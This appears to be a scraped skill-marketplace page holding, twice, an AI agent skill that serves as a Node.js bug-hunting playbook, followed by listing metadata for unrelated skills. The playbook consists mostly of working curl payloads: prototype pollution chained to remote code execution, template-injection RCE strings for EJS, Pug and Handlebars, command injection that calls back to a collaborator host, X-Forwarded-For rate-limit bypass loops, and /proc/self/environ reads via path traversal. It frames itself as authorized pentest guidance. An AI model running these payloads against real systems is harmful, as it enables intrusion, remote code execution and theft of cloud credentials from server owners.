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Docs-only; helper scripts and commands\n  not bundled.\nsources: hackerone_public, snyk_research, portswigger_research\nreport_count: 24\n---\n> **⚠️ AUTHORIZED USE ONLY**\n> This skill is for educational purposes or authorized security assessments only.\n> You must have explicit, written permission from the system owner before using this tool.\n> Misuse of this tool is illegal and strictly prohibited.\n\n> **Mandatory confirmation gate**\n> Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:\n> 1. Ask the user to state the exact target URL, IP, account, or resource.\n> 2. Ask the user to confirm written authorization and the permitted scope.\n> 3. Show the exact command(s) and explain their expected effect.\n> 4. Wait for explicit confirmation in the current conversation.\n>\n> Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.\n\n# HUNT-NODEJS — Node.js Specific Vulnerabilities\n\n## Crown Jewel Targets\n\nPrototype Pollution reaching a sink in Node.js backend = Critical RCE.\n\n**Highest-value chains:**\n- **Prototype Pollution → RCE** — `__proto__` injection via `lodash.merge` \u002F `Object.assign` → polluted prototype reaches `child_process.exec` or `vm.runInNewContext` sink\n- **Express trust proxy** — `app.set('trust proxy', true)` without validation → attacker sets `X-Forwarded-For` to bypass IP allowlists or rate limits\n- **EJS\u002FPug SSTI** — template engine receives user input → `{{= process.mainModule.require('child_process').execSync('id') }}`\n- **`child_process` injection** — user input interpolated into shell command string → OS command injection\n- **`require()` path traversal** — attacker-controlled module path → load arbitrary file as JS\n\n---\n\n## Attack Surface Signals\n\n```\nX-Powered-By: Express           Confirms Express.js\nNode.js in error messages        Runtime detected\npackage.json exposed             Dependency list + versions\n\u002Fproc\u002Fself\u002Fenviron accessible    Environment variable exfil\nError stack traces with .js paths  Node.js confirmed\n__proto__ in JSON accepted        Prototype pollution candidate\n```\n\n---\n\n## Phase 1 — Fingerprint\n\n```bash\n# Confirm Node.js\u002FExpress\ncurl -sI https:\u002F\u002F$TARGET\u002F | grep -i \"x-powered-by\\|nodejs\\|express\"\n\n# Check for package.json \u002F node_modules exposure\ncurl -s \"https:\u002F\u002F$TARGET\u002Fpackage.json\"\ncurl -s \"https:\u002F\u002F$TARGET\u002Fpackage-lock.json\"\ncurl -s \"https:\u002F\u002F$TARGET\u002Fnode_modules\u002F.package-lock.json\"\n\n# Error-based version detection\ncurl -s \"https:\u002F\u002F$TARGET\u002Fnonexistent-path-xyz\" | grep -i \"node\\|express\\|cannot GET\"\n```\n\n---\n\n## Phase 2 — Prototype Pollution Detection\n\n```bash\n# JSON body injection — test if __proto__ is accepted\ncurl -s -X POST https:\u002F\u002F$TARGET\u002Fapi\u002Fmerge \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"__proto__\": {\"polluted\": \"yes\"}}'\n\n# Constructor prototype\ncurl -s -X POST https:\u002F\u002F$TARGET\u002Fapi\u002Fsettings \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"constructor\": {\"prototype\": {\"isAdmin\": true}}}'\n\n# URL query param injection (qs library)\ncurl -s \"https:\u002F\u002F$TARGET\u002Fapi\u002Fsearch?__proto__[polluted]=yes&query=test\"\ncurl -s \"https:\u002F\u002F$TARGET\u002Fapi\u002Fdata?constructor[prototype][admin]=1\"\n\n# Confirm pollution: does a subsequent request reflect the polluted key?\ncurl -s \"https:\u002F\u002F$TARGET\u002Fapi\u002Fme\" | grep -i \"polluted\\|isAdmin\\|admin\"\n```\n\n---\n\n## Phase 3 — Prototype Pollution → RCE Chain\n\n```bash\n# If pollution is confirmed, attempt to reach dangerous sinks\n\n# Sink 1: child_process via options.shell pollution\ncurl -s -X POST https:\u002F\u002F$TARGET\u002Fapi\u002Fupdate \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\n    \"__proto__\": {\n      \"shell\": \"node\",\n      \"NODE_OPTIONS\": \"--require \u002Fproc\u002Fself\u002Ffd\u002F0\",\n      \"env\": {\"NODE_OPTIONS\": \"--inspect=COLLAB_HOST\"}\n    }\n  }'\n\n# Sink 2: lodash template pollution (CVE-2021-23337)\ncurl -s -X POST https:\u002F\u002F$TARGET\u002Fapi\u002Frender \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"__proto__\": {\"sourceURL\": \"\\nreturn process.mainModule.require(\\\"child_process\\\").execSync(\\\"id\\\").toString()\u002F\u002F\"}}'\n\n# Sink 3: ejs template options pollution\n# If EJS is used for rendering, pollute the `opts.escapeXML` or `opts.outputFunctionName`\ncurl -s -X POST https:\u002F\u002F$TARGET\u002Fapi\u002Ftemplate \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"__proto__\": {\"outputFunctionName\": \"x;process.mainModule.require(\\\"child_process\\\").execSync(\\\"curl COLLAB_HOST\u002Fpp-rce\\\");x\"}}'\n\n# OOB confirmation — check Interactsh for callback\n```\n\n---\n\n## Phase 4 — Express Trust Proxy Abuse\n\n```bash\n# If Express has trust proxy enabled, X-Forwarded-For is trusted\n# Test: does spoofed IP bypass IP-based rate limiting or allowlist?\n\n# Spoof IP to 127.0.0.1 (localhost bypass)\ncurl -s -X POST https:\u002F\u002F$TARGET\u002Fapi\u002Fadmin\u002Faction \\\n  -H \"X-Forwarded-For: 127.0.0.1\" \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"action\": \"test\"}'\n\n# Spoof to internal IP range\ncurl -s -X POST https:\u002F\u002F$TARGET\u002Fapi\u002Finternal \\\n  -H \"X-Forwarded-For: 10.0.0.1\" \\\n  -H \"X-Real-IP: 10.0.0.1\"\n\n# Rate limit bypass via rotating fake IPs\nfor i in $(seq 1 50); do\n  curl -s https:\u002F\u002F$TARGET\u002Fapi\u002Flogin \\\n    -H \"X-Forwarded-For: 1.2.3.$i\" \\\n    -d '{\"email\":\"admin@test.com\",\"password\":\"wrong\"}' \\\n    -o \u002Fdev\u002Fnull -w \"$i: %{http_code}\\n\"\ndone\n```\n\n---\n\n## Phase 5 — Template Engine SSTI (EJS \u002F Pug \u002F Handlebars)\n\n```bash\n# EJS SSTI — if user input reaches EJS template context\n# Test basic: \u003C%= 7*7 %> should return 49\ncurl -s -X POST https:\u002F\u002F$TARGET\u002Fapi\u002Frender \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"template\": \"\u003C%= 7*7 %>\"}'\n\n# EJS RCE payload\ncurl -s -X POST https:\u002F\u002F$TARGET\u002Fapi\u002Frender \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"template\": \"\u003C%= process.mainModule.require(\\\"child_process\\\").execSync(\\\"id\\\").toString() %>\"}'\n\n# Pug SSTI\ncurl -s -X POST https:\u002F\u002F$TARGET\u002Fapi\u002Frender \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"template\": \"- var x = root.process\\n= x.mainModule.require(\\\"child_process\\\").execSync(\\\"id\\\")\"}'\n\n# Handlebars — prototype pollution via template\ncurl -s -X POST https:\u002F\u002F$TARGET\u002Fapi\u002Frender \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"template\": \"{{#with \\\"s\\\" as |string|}}{{#with \\\"e\\\"}}{{#with split as |conslist|}}{{this.pop}}{{this.push (lookup string.sub \\\"constructor\\\")}}{{this.pop}}{{#with string.split as |codelist|}}{{this.pop}}{{this.push \\\"return process.mainModule.require(childprocess).execSync(id)\\\"}}{{this.pop}}{{#each conslist}}{{#with (string.sub.apply 0 codelist)}}{{this}}{{\u002Fwith}}{{\u002Feach}}{{\u002Fwith}}{{\u002Fwith}}{{\u002Fwith}}{{\u002Fwith}}\"}'\n```\n\n---\n\n## Phase 6 — child_process Command Injection\n\n```bash\n# Look for endpoints that run shell commands with user input\n# Signals: \u002Fapi\u002Fconvert, \u002Fapi\u002Fexec, \u002Fapi\u002Fping, \u002Fapi\u002Fscan\n\n# Basic injection test\ncurl -s \"https:\u002F\u002F$TARGET\u002Fapi\u002Fping?host=127.0.0.1;id\"\ncurl -s \"https:\u002F\u002F$TARGET\u002Fapi\u002Fconvert?file=test.pdf;curl+COLLAB_HOST\u002Fci\"\ncurl -s -X POST https:\u002F\u002F$TARGET\u002Fapi\u002Fexec \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"command\": \"ls\", \"args\": [\"&&\", \"curl\", \"COLLAB_HOST\u002Fci\"]}'\n\n# OOB via DNS\ncurl -s \"https:\u002F\u002F$TARGET\u002Fapi\u002Fdns?host=\\$(curl+COLLAB_HOST\u002Fdns-ci).example.com\"\n```\n\n---\n\n## Phase 7 — \u002Fproc\u002Fself\u002Fenviron Exfil\n\n```bash\n# If LFI exists on Node.js app, \u002Fproc\u002Fself\u002Fenviron leaks env vars\ncurl -s \"https:\u002F\u002F$TARGET\u002Fapi\u002Ffile?path=\u002Fproc\u002Fself\u002Fenviron\"\ncurl -s \"https:\u002F\u002F$TARGET\u002Fapi\u002Fread?file=..\u002F..\u002F..\u002F..\u002Fproc\u002Fself\u002Fenviron\"\n\n# Also check:\ncurl -s \"https:\u002F\u002F$TARGET\u002Fapi\u002Ffile?path=\u002Fproc\u002Fself\u002Fcmdline\"  # full command line\ncurl -s \"https:\u002F\u002F$TARGET\u002Fapi\u002Ffile?path=\u002Fproc\u002Fself\u002Fcwd\"       # working directory\n```\n\n---\n\n## Chain Table\n\n| Node.js finding | Chain to | Impact |\n|----------------|----------|--------|\n| Prototype pollution confirmed | Find RCE sink (child_process, eval) | Critical RCE |\n| Express trust proxy | Bypass IP allowlist \u002F rate limit | Auth bypass \u002F DoS bypass |\n| SSTI in template engine | OS command execution | Critical RCE |\n| child_process injection | `id && curl COLLAB_HOST` | Critical RCE |\n| \u002Fproc\u002Fself\u002Fenviron via LFI | AWS_ACCESS_KEY_ID leaked | Cloud compromise |\n\n---\n\n## Validation\n\n✅ Prototype pollution: key appears in subsequent API responses without being sent\n✅ RCE chain: OOB callback received OR `id` output in response\n✅ Trust proxy: spoofed IP accepted, bypasses rate limit or allowlist\n\n**Severity:**\n- Prototype pollution → RCE: Critical\n- SSTI → RCE: Critical\n- child_process injection: Critical\n- Trust proxy → rate limit bypass: Medium\n- \u002Fproc\u002Fself\u002Fenviron exfil: High (if cloud keys present)\n\n## When to Use\n\n- You have explicit, written authorization to assess the target in scope, and the task matches this skill's vulnerability class or technique within a bug-bounty or penetration-test engagement.\n- You need the recon, exploitation, or validation workflow described below — executed strictly inside the approved scope.\n\n## Limitations\n\n- Authorized scope only: the confirmation gate above is mandatory before any probing, exploitation, or credential-access command.\n- Docs-only import: upstream helper scripts, commands, engine, and research assets are not bundled; reinstall tooling from the source repo when needed.\n- Validate every finding (see `triage-validation`) before reporting; report via `report-writing`. Prefer a sandbox, disposable VM, or controlled lab.\n\n### Example\n\n```bash\n# Read-only first step; confirm scope before anything active.\ncat scope.txt  # target list from the authorized engagement brief\n```\n\n> Adapted from [elementalsouls\u002FClaude-BugHunter](https:\u002F\u002Fgithub.com\u002Felementalsouls\u002FClaude-BugHunter) (MIT); frontmatter, When to Use\u002FLimitations, and safety boundaries added for upstream compliance. Docs-only import: executable helpers, commands, engine, and research assets not bundled.\n","> **⚠️ AUTHORIZED USE ONLY**\n> This skill is for educational purposes or authorized security assessments only.\n> You must have explicit, written permission from the system owner before using this tool.\n> Misuse of this tool is illegal and strictly prohibited.\n\n> **Mandatory confirmation gate**\n> Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:\n> 1. Ask the user to state the exact target URL, IP, account, or resource.\n> 2. Ask the user to confirm written authorization and the permitted scope.\n> 3. Show the exact command(s) and explain their expected effect.\n> 4. Wait for explicit confirmation in the current conversation.\n>\n> Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.\n\n# HUNT-NODEJS — Node.js Specific Vulnerabilities\n\n## Crown Jewel Targets\n\nPrototype Pollution reaching a sink in Node.js backend = Critical RCE.\n\n**Highest-value chains:**\n- **Prototype Pollution → RCE** — `__proto__` injection via `lodash.merge` \u002F `Object.assign` → polluted prototype reaches `child_process.exec` or `vm.runInNewContext` sink\n- **Express trust proxy** — `app.set('trust proxy', true)` without validation → attacker sets `X-Forwarded-For` to bypass IP allowlists or rate limits\n- **EJS\u002FPug SSTI** — template engine receives user input → `{{= process.mainModule.require('child_process').execSync('id') }}`\n- **`child_process` injection** — user input interpolated into shell command string → OS command injection\n- **`require()` path traversal** — attacker-controlled module path → load arbitrary file as JS\n\n---\n\n## Attack Surface Signals\n\n```\nX-Powered-By: Express           Confirms Express.js\nNode.js in error messages        Runtime detected\npackage.json exposed             Dependency list + versions\n\u002Fproc\u002Fself\u002Fenviron accessible    Environment variable exfil\nError stack traces with .js paths  Node.js confirmed\n__proto__ in JSON accepted        Prototype pollution candidate\n```\n\n---\n\n## Phase 1 — Fingerprint\n\n```bash\n# Confirm Node.js\u002FExpress\ncurl -sI https:\u002F\u002F$TARGET\u002F | grep -i \"x-powered-by\\|nodejs\\|express\"\n\n# Check for package.json \u002F node_modules exposure\ncurl -s \"https:\u002F\u002F$TARGET\u002Fpackage.json\"\ncurl -s \"https:\u002F\u002F$TARGET\u002Fpackage-lock.json\"\ncurl -s \"https:\u002F\u002F$TARGET\u002Fnode_modules\u002F.package-lock.json\"\n\n# Error-based version detection\ncurl -s \"https:\u002F\u002F$TARGET\u002Fnonexistent-path-xyz\" | grep -i \"node\\|express\\|cannot GET\"\n```\n\n---\n\n## Phase 2 — Prototype Pollution Detection\n\n```bash\n# JSON body injection — test if __proto__ is accepted\ncurl -s -X POST https:\u002F\u002F$TARGET\u002Fapi\u002Fmerge \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"__proto__\": {\"polluted\": \"yes\"}}'\n\n# Constructor prototype\ncurl -s -X POST https:\u002F\u002F$TARGET\u002Fapi\u002Fsettings \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"constructor\": {\"prototype\": {\"isAdmin\": true}}}'\n\n# URL query param injection (qs library)\ncurl -s \"https:\u002F\u002F$TARGET\u002Fapi\u002Fsearch?__proto__[polluted]=yes&query=test\"\ncurl -s \"https:\u002F\u002F$TARGET\u002Fapi\u002Fdata?constructor[prototype][admin]=1\"\n\n# Confirm pollution: does a subsequent request reflect the polluted key?\ncurl -s \"https:\u002F\u002F$TARGET\u002Fapi\u002Fme\" | grep -i \"polluted\\|isAdmin\\|admin\"\n```\n\n---\n\n## Phase 3 — Prototype Pollution → RCE Chain\n\n```bash\n# If pollution is confirmed, attempt to reach dangerous sinks\n\n# Sink 1: child_process via options.shell pollution\ncurl -s -X POST https:\u002F\u002F$TARGET\u002Fapi\u002Fupdate \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\n    \"__proto__\": {\n      \"shell\": \"node\",\n      \"NODE_OPTIONS\": \"--require \u002Fproc\u002Fself\u002Ffd\u002F0\",\n      \"env\": {\"NODE_OPTIONS\": \"--inspect=COLLAB_HOST\"}\n    }\n  }'\n\n# Sink 2: lodash template pollution (CVE-2021-23337)\ncurl -s -X POST https:\u002F\u002F$TARGET\u002Fapi\u002Frender \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"__proto__\": {\"sourceURL\": \"\\nreturn process.mainModule.require(\\\"child_process\\\").execSync(\\\"id\\\").toString()\u002F\u002F\"}}'\n\n# Sink 3: ejs template options pollution\n# If EJS is used for rendering, pollute the `opts.escapeXML` or `opts.outputFunctionName`\ncurl -s -X POST https:\u002F\u002F$TARGET\u002Fapi\u002Ftemplate \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"__proto__\": {\"outputFunctionName\": \"x;process.mainModule.require(\\\"child_process\\\").execSync(\\\"curl COLLAB_HOST\u002Fpp-rce\\\");x\"}}'\n\n# OOB confirmation — check Interactsh for callback\n```\n\n---\n\n## Phase 4 — Express Trust Proxy Abuse\n\n```bash\n# If Express has trust proxy enabled, X-Forwarded-For is trusted\n# Test: does spoofed IP bypass IP-based rate limiting or allowlist?\n\n# Spoof IP to 127.0.0.1 (localhost bypass)\ncurl -s -X POST https:\u002F\u002F$TARGET\u002Fapi\u002Fadmin\u002Faction \\\n  -H \"X-Forwarded-For: 127.0.0.1\" \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"action\": \"test\"}'\n\n# Spoof to internal IP range\ncurl -s -X POST https:\u002F\u002F$TARGET\u002Fapi\u002Finternal \\\n  -H \"X-Forwarded-For: 10.0.0.1\" \\\n  -H \"X-Real-IP: 10.0.0.1\"\n\n# Rate limit bypass via rotating fake IPs\nfor i in $(seq 1 50); do\n  curl -s https:\u002F\u002F$TARGET\u002Fapi\u002Flogin \\\n    -H \"X-Forwarded-For: 1.2.3.$i\" \\\n    -d '{\"email\":\"admin@test.com\",\"password\":\"wrong\"}' \\\n    -o \u002Fdev\u002Fnull -w \"$i: %{http_code}\\n\"\ndone\n```\n\n---\n\n## Phase 5 — Template Engine SSTI (EJS \u002F Pug \u002F Handlebars)\n\n```bash\n# EJS SSTI — if user input reaches EJS template context\n# Test basic: \u003C%= 7*7 %> should return 49\ncurl -s -X POST https:\u002F\u002F$TARGET\u002Fapi\u002Frender \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"template\": \"\u003C%= 7*7 %>\"}'\n\n# EJS RCE payload\ncurl -s -X POST https:\u002F\u002F$TARGET\u002Fapi\u002Frender \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"template\": \"\u003C%= process.mainModule.require(\\\"child_process\\\").execSync(\\\"id\\\").toString() %>\"}'\n\n# Pug SSTI\ncurl -s -X POST https:\u002F\u002F$TARGET\u002Fapi\u002Frender \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"template\": \"- var x = root.process\\n= x.mainModule.require(\\\"child_process\\\").execSync(\\\"id\\\")\"}'\n\n# Handlebars — prototype pollution via template\ncurl -s -X POST https:\u002F\u002F$TARGET\u002Fapi\u002Frender \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"template\": \"{{#with \\\"s\\\" as |string|}}{{#with \\\"e\\\"}}{{#with split as |conslist|}}{{this.pop}}{{this.push (lookup string.sub \\\"constructor\\\")}}{{this.pop}}{{#with string.split as |codelist|}}{{this.pop}}{{this.push \\\"return process.mainModule.require(childprocess).execSync(id)\\\"}}{{this.pop}}{{#each conslist}}{{#with (string.sub.apply 0 codelist)}}{{this}}{{\u002Fwith}}{{\u002Feach}}{{\u002Fwith}}{{\u002Fwith}}{{\u002Fwith}}{{\u002Fwith}}\"}'\n```\n\n---\n\n## Phase 6 — child_process Command Injection\n\n```bash\n# Look for endpoints that run shell commands with user input\n# Signals: \u002Fapi\u002Fconvert, \u002Fapi\u002Fexec, \u002Fapi\u002Fping, \u002Fapi\u002Fscan\n\n# Basic injection test\ncurl -s \"https:\u002F\u002F$TARGET\u002Fapi\u002Fping?host=127.0.0.1;id\"\ncurl -s \"https:\u002F\u002F$TARGET\u002Fapi\u002Fconvert?file=test.pdf;curl+COLLAB_HOST\u002Fci\"\ncurl -s -X POST https:\u002F\u002F$TARGET\u002Fapi\u002Fexec \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"command\": \"ls\", \"args\": [\"&&\", \"curl\", \"COLLAB_HOST\u002Fci\"]}'\n\n# OOB via DNS\ncurl -s \"https:\u002F\u002F$TARGET\u002Fapi\u002Fdns?host=\\$(curl+COLLAB_HOST\u002Fdns-ci).example.com\"\n```\n\n---\n\n## Phase 7 — \u002Fproc\u002Fself\u002Fenviron Exfil\n\n```bash\n# If LFI exists on Node.js app, \u002Fproc\u002Fself\u002Fenviron leaks env vars\ncurl -s \"https:\u002F\u002F$TARGET\u002Fapi\u002Ffile?path=\u002Fproc\u002Fself\u002Fenviron\"\ncurl -s \"https:\u002F\u002F$TARGET\u002Fapi\u002Fread?file=..\u002F..\u002F..\u002F..\u002Fproc\u002Fself\u002Fenviron\"\n\n# Also check:\ncurl -s \"https:\u002F\u002F$TARGET\u002Fapi\u002Ffile?path=\u002Fproc\u002Fself\u002Fcmdline\"  # full command line\ncurl -s \"https:\u002F\u002F$TARGET\u002Fapi\u002Ffile?path=\u002Fproc\u002Fself\u002Fcwd\"       # working directory\n```\n\n---\n\n## Chain Table\n\n| Node.js finding | Chain to | Impact |\n|----------------|----------|--------|\n| Prototype pollution confirmed | Find RCE sink (child_process, eval) | Critical RCE |\n| Express trust proxy | Bypass IP allowlist \u002F rate limit | Auth bypass \u002F DoS bypass |\n| SSTI in template engine | OS command execution | Critical RCE |\n| child_process injection | `id && curl COLLAB_HOST` | Critical RCE |\n| \u002Fproc\u002Fself\u002Fenviron via LFI | AWS_ACCESS_KEY_ID leaked | Cloud compromise |\n\n---\n\n## Validation\n\n✅ Prototype pollution: key appears in subsequent API responses without being sent\n✅ RCE chain: OOB callback received OR `id` output in response\n✅ Trust proxy: spoofed IP accepted, bypasses rate limit or allowlist\n\n**Severity:**\n- Prototype pollution → RCE: Critical\n- SSTI → RCE: Critical\n- child_process injection: Critical\n- Trust proxy → rate limit bypass: Medium\n- \u002Fproc\u002Fself\u002Fenviron exfil: High (if cloud keys present)\n\n## When to Use\n\n- You have explicit, written authorization to assess the target in scope, and the task matches this skill's vulnerability class or technique within a bug-bounty or penetration-test engagement.\n- You need the recon, exploitation, or validation workflow described below — executed strictly inside the approved scope.\n\n## Limitations\n\n- Authorized scope only: the confirmation gate above is mandatory before any probing, exploitation, or credential-access command.\n- Docs-only import: upstream helper scripts, commands, engine, and research assets are not bundled; reinstall tooling from the source repo when needed.\n- Validate every finding (see `triage-validation`) before reporting; report via `report-writing`. Prefer a sandbox, disposable VM, or controlled lab.\n\n### Example\n\n```bash\n# Read-only first step; confirm scope before anything active.\ncat scope.txt  # target list from the authorized engagement brief\n```\n\n> Adapted from [elementalsouls\u002FClaude-BugHunter](https:\u002F\u002Fgithub.com\u002Felementalsouls\u002FClaude-BugHunter) (MIT); frontmatter, When to Use\u002FLimitations, and safety boundaries added for upstream compliance. Docs-only import: executable helpers, commands, engine, and research assets not bundled.\n",{"name":5,"risk":25,"source":43,"license":14,"sources":44,"category":37,"date_added":45,"description":7,"source_repo":46,"source_type":21,"report_count":47,"compatibility":48,"license_source":49},"https:\u002F\u002Fgithub.com\u002Felementalsouls\u002FClaude-BugHunter","hackerone_public, snyk_research, portswigger_research","2026-09-20","elementalsouls\u002FClaude-BugHunter",24,"Requires explicit written authorization for a target scope plus the relevant testing tools for this technique. Docs-only; helper scripts and commands not bundled.","https:\u002F\u002Fgithub.com\u002Felementalsouls\u002FClaude-BugHunter\u002Fblob\u002Fmain\u002FLICENSE","f3312ba749561b6159f477dbfc9313c875d40a56",".agents\u002Fskills_archive\u002Fhunt-nodejs","https:\u002F\u002Fgithub.com\u002Fduc-duy-1612\u002FOnline-Delivery-Systems-Web","https:\u002F\u002Fgithub.com\u002Fduc-duy-1612","2026-10-25 23:50:58",{"source":8,"skillName":5,"commands":56,"prompt":66,"zipAvailable":67},[57,60,63],{"tool":58,"command":59},"npx","npx skills add duc-duy-1612\u002FOnline-Delivery-Systems-Web --skill hunt-nodejs",{"tool":61,"command":62},"bunx","bunx skills add duc-duy-1612\u002FOnline-Delivery-Systems-Web --skill hunt-nodejs",{"tool":64,"command":65},"pnpm","pnpm dlx skills add duc-duy-1612\u002FOnline-Delivery-Systems-Web --skill hunt-nodejs","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002Fduc-duy-1612\u002FOnline-Delivery-Systems-Web\u002Fblob\u002Fmain\u002F.agents\u002Fskills_archive\u002Fhunt-nodejs\u002FSKILL.md",true,[],[70,95,118,141,169,193],{"skillNo":71,"name":72,"nameZh":6,"description":73,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":74,"categories":75,"keywords":81,"publishedAt":38},"01M6Q0FA5FZ410Z33Z3TFQ4DBA","zero-trust","Implement zero-trust network architecture. Configure identity-based access, micro-segmentation, and continuous verification. Use when implementing modern security architectures.","https:\u002F\u002Fgithub.com\u002Fduc-duy-1612\u002FOnline-Delivery-Systems-Web\u002Fblob\u002Fmain\u002F.agents\u002Fskills_archive\u002Fzero-trust\u002FSKILL.md",[76],{"categoryNo":77,"categoryName":78,"taxonomyType":79,"taxonomyTypeDesc":80},"01JBSEEDCAT000000000000011","运维与部署","SCENARIO","使用场景",[82,83,84,85,86,87,72,88,89,90,91,31,21,29,92,93,27,26,23,94],"ZeRO","trust","zero trust","architecture","assessment","verification","segmentation","devops-security","access","configure","active","critical","implementing",{"skillNo":96,"name":97,"nameZh":6,"description":98,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":99,"categories":100,"keywords":101,"publishedAt":38},"01M6Q0F1YZJW3KX5FBKEVZ8CV4","zcode-delegate","Delegate coding tasks to the Z.AI ZCode CLI only when the user explicitly requests it, while the orchestrator retains review and landing responsibility.","https:\u002F\u002Fgithub.com\u002Fduc-duy-1612\u002FOnline-Delivery-Systems-Web\u002Fblob\u002Fmain\u002F.agents\u002Fskills_archive\u002Fzcode-delegate\u002FSKILL.md",[],[102,103,104,105,106,107,108,109,110,111,32,112,113,31,114,21,115,116,93,117],"delegate","zcode","zcode delegate","review","cli","orchestration","tasks","run","Bash","model","read","orchestrator","files","desktop app","app","agent-orchestration",{"skillNo":119,"name":120,"nameZh":6,"description":121,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":122,"categories":123,"keywords":124,"publishedAt":38},"01M6Q0ETK41VGNMYEXW0T00AJN","youtube-transcript","Fetch YouTube transcripts through DeepAPI or local fallback tooling and save clean text output.","https:\u002F\u002Fgithub.com\u002Fduc-duy-1612\u002FOnline-Delivery-Systems-Web\u002Fblob\u002Fmain\u002F.agents\u002Fskills_archive\u002Fyoutube-transcript\u002FSKILL.md",[],[125,126,127,128,129,130,36,34,131,132,133,134,135,21,29,136,137,138,139,140],"transcript","youtube transcript","youtube","safe","github","codex","https","text","fetch","tooling","clean","local","output","deepapi","youtube transcripts","blob",{"skillNo":142,"name":143,"nameZh":6,"description":144,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":145,"categories":146,"keywords":158,"publishedAt":38},"01M6Q0EPPH2PVMDW40017F8WX0","youtube-transcript-skills","Fetch YouTube video transcripts, search videos\u002Fchannels, browse channels, and extract playlists via the getyoutubetranscript.com API - free tier, no card required.","https:\u002F\u002Fgithub.com\u002Fduc-duy-1612\u002FOnline-Delivery-Systems-Web\u002Fblob\u002Fmain\u002F.agents\u002Fskills_archive\u002Fyoutube-transcript-skills\u002FSKILL.md",[147,150,153],{"categoryNo":148,"categoryName":149,"taxonomyType":79,"taxonomyTypeDesc":80},"01JBSEEDCAT000000000000010","后端与接口",{"categoryNo":151,"categoryName":152,"taxonomyType":79,"taxonomyTypeDesc":80},"01JBSEEDCAT000000000000016","图像与多媒体",{"categoryNo":154,"categoryName":155,"taxonomyType":156,"taxonomyTypeDesc":157},"01JBSEEDCAT000000000000030","开发工程师","PROFESSION","适用职业",[125,126,127,159,128,160,129,130,34,161,162,163,164,133,165,21,29,166,167,168],"youtube transcript skills","gemini","search","api","Video","browse","api-integration","free","card","channels",{"skillNo":170,"name":171,"nameZh":6,"description":172,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":173,"categories":174,"keywords":179,"publishedAt":38},"01M6Q0EAB96PX83W5PTE8A0R8D","youtube-notetaker","Turn YouTube talks into local study notes with slides, transcripts, editable annotations, and a markdown-backed viewer.","https:\u002F\u002Fgithub.com\u002Fduc-duy-1612\u002FOnline-Delivery-Systems-Web\u002Fblob\u002Fmain\u002F.agents\u002Fskills_archive\u002Fyoutube-notetaker\u002FSKILL.md",[175,178],{"categoryNo":176,"categoryName":177,"taxonomyType":79,"taxonomyTypeDesc":80},"01JBSEEDCAT000000000000003","演示文稿",{"categoryNo":151,"categoryName":152,"taxonomyType":79,"taxonomyTypeDesc":80},[127,180,181,106,128,182,183,184,185,34,163,186,187,188,189,29,190,136,191,192],"youtube notetaker","notetaker","workflow","official","notes","code","markdown","slides","annotations","README","study","dair-academy","viewer",{"skillNo":194,"name":195,"nameZh":6,"description":196,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":197,"categories":198,"keywords":200,"publishedAt":38},"01M6Q0E55F0GW5MX48V8HXS8B5","youtube-full","Fetch YouTube transcripts, search videos, browse channels, and extract playlists via TranscriptAPI — no yt-dlp, no Google API key, works from any cloud 